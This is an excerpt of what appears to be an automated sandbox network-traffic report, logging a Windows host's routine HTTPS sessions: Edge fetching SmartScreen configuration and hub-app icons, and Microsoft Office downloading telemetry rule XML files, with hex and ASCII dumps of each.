2024-11-17 11:35:36 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-17 11:35:37 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49866	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:37 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c8ab257f-901e-0026-141d-37f3b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T113537Z-16547b76f7fwm7vghC1DFW900s00000001t00000000094yu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 416d43dc-f01e-003f-18d2-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113537Z-1866b5c5fbbdcxfghC1DFW126c00000000xg000000008qm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113537Z-16547b76f7fk9g8vhC1DFW8254000000050g000000004qhx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d0d1667b-a01e-000d-1d09-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113537Z-16547b76f7fw2955hC1DFWsptc00000004sg000000004cfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4c357a87-301e-0051-687a-3638bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113537Z-164f84587bfm8kdnhC1DFWey4g000000048000000000ahq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113537Z-16547b76f7fzwxm2hC1DFWt5hw00000001qg00000000dhc3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49872	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:37 UTC	523	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: e7f0ac26-a01e-0048-66e4-385a9a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T113537Z-1866b5c5fbb7lvschC1DFW4rm00000000460000000009qmu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49875	3.170.115.43	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
